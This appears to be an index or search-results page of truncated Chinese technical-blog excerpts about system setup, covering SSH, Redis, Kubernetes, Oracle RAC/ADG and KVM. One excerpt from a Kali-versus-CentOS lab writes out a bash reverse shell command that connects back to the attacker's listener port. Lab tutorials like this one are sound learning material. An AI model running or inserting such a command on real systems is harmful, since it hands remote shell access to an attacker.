环境准备 :::info 实验目标：ServerA通过用户ServerB(已发送密钥和指定端口) ::: 主机 IP 身份 ServerA 192.168.10.201 SSH客户端 ServerB 192.168.10.202 SSH目标主机 在使用SSH登录远程主机时，指定的用户名是指远程主机上
环境准备 宿主机环境：Windows 10 虚拟机环境：Vagrant + VirtualBox Vagrantfile 配置 首先，我们需要编写一个 Vagrantfile 来定义我们的虚拟机配置。假设已经在 D:\Vagrant\redis 目录下创建了一个 Vagrantfile，其内容如下：
环境准备： 主机 host-61-118 : 192.168.61.118 host-61-119：192.168.61.119 vip：192.168.61.220 检测openssh版本，版本必须大于4.8.p1，否则需要升级openssh版本 [root@host-61-118 ~]# ssh
环境：VMware、CentOS-7-x86_64-DVD-2009.iso、nginx-1.26.1、php-7.2.0、postgresql-12 php最好安装对应php项目所需版本，否则会出现不兼容问题。 一、VMware安装CentOS7操作系统 下载 Linux Centos 7 映像：
环境：debian12.x 前言：我安装了debian12版本的操作系统在虚拟机中，在安装的时候选择的是KDE桌面，便于以后日常使用linux操作系统 在安装KDE桌面后，会自动安装一个sddm，sddm是一个显示管理器，以后安装了其他桌面操作系统可以通过这个工具来切换桌面系统。 安装xfce桌面：
环境 redis 7.2.5 主频 核心数 内存 2.5GHz 32 64GB 测试结论 当前场景下redis单线程、多线程表现差异不大 使用pipeline模式可以显著提高基准性能 非pipilie下redis性能再12~13w左右 pipiline下redis性能在35w左右 测试记录 单线程r
环境 03 master ,05 06是node [root@mcwk8s03 mcwtest]# kubectl get nodes -o wide NAME STATUS ROLES AGE VERSION INTERNAL-IP EXTERNAL-IP OS-IMAGE KERNEL-VERS
环境安装 buildroot编译 buildroot下载，编译： 下载地址：Index of /downloads (buildroot.org) 下载版本：https://www.buildroot.org/downloads/buildroot-2022.02.2.tar.gz 下载完成后，解压
具体的软硬件实现点击 http://mcu-ai.com/ MCU-AI技术网页_MCU-AI 声音事件的分类精度与特征提取有很强的关系。本文将深度特征用于环境声音分类（ESC）问题。深层特征是通过使用新开发的卷积神经网络（CNN）模型的全连接层来提取的，该模型通过频谱图图像以端到端的方式进行训练。
环境 Linux/Ubuntu 18.04 + 安装iptraf-ng-1.2.1，可编译安装，安装包链接：iptraf-ng-1.2.1.zip 解压iptraf-ng-1.2.1 unzip ./iptraf-ng-1.2.1.zip 安装ncurses(系统是ubuntu18.04) sudo
线上环境 Linux 系统调用追踪 PingCAP 提到如何动态追踪进程中的系统调用，相信大家第一时间都能想到 strace，它的基本用法非常简单，非常适合用来解决 “为什么这个软件无法在这台机器上运行？” 这类问题。但如果需要分析线上服务 （特别是延迟敏感型）的某些系统调用的延迟时，strace
环境 宿主机： IP： 10.110.136.43 版本：Kylin Linux Advanced Server release V10 (Sword) KVM vm： IP： 10.110.136.59 版本：UnionTech OS Server 20 故障描述 kvm虚拟机136.59可以被其
环境 攻击机：kali ip：192.168.25.144 靶 机：centos ip：192.168.25.142 过程 kali 监听本地8888端口 靶机 centos 写入 反弹shell 的命令 bash -i >& /dev/tcp/192.168.25.144/8888 0>&1 攻击
环境：aarch64/centos7.6 glibc-2.17 编译器：gcc version 5.5.0 (GCC) 官方参考文档：https://www.percona.com/doc/percona-xtrabackup/2.4/installation/compiling_xtrabacku
环境：Oracle RAC(GI 19.3 + DB 19.3) 本文应用补丁信息, 19.16 RU: p34130714_190000_Linux-x86-64.zip 本文主要演示使用opatchauto apply自动应用补丁的过程。 1.更新OPatch版本 2.使用opatchauto应
环境： Oracle 19.16 ADG (Single Instance -> RAC) 在配置ADG的场景，发现ADG不能同步。 1.查看报错信息 2.oerr查看该错误说明 3.尝试sqlplus连接到standby 4.尝试relocate监听 5.继续排查发现是参数问题 6.总结和延伸 1
**环境：**Single Instance -> RAC Single Instance: db_name=demo db_unique_name=demo instance_name=demo service_names=demo RAC（2 nodes）: db_name=demo db_un
环境： Oracle 19.16 多租户架构 1.问题现象： SQL> create table T1 as select * from v$active_session_history * ERROR at line 1: ORA-65114: space usage in container i
环境： Oracle 19.16 多租户架构 经常会在网上看到有人写exists和in的效率区别，其实在新版本的数据库中，是不存在这个问题的，优化器会自己判断选择最优的执行计划。 为了直观的说明，我在PDB中构造如下测试用例： vi 1.sql select count(*) from v$acti
环境： Oracle 19c ADG（主库：单实例；备库：RAC） 1.主库新建测试文件 2.主库创建测试表 3.查询表对应数据文件信息 4.模拟数据文件物理坏块 5.查询对应测试表 6.进一步查询日志信息 7.确认当前参数设置 1.主库新建测试文件 主库在AWR的PDB中做测试，为了不影响其他测试
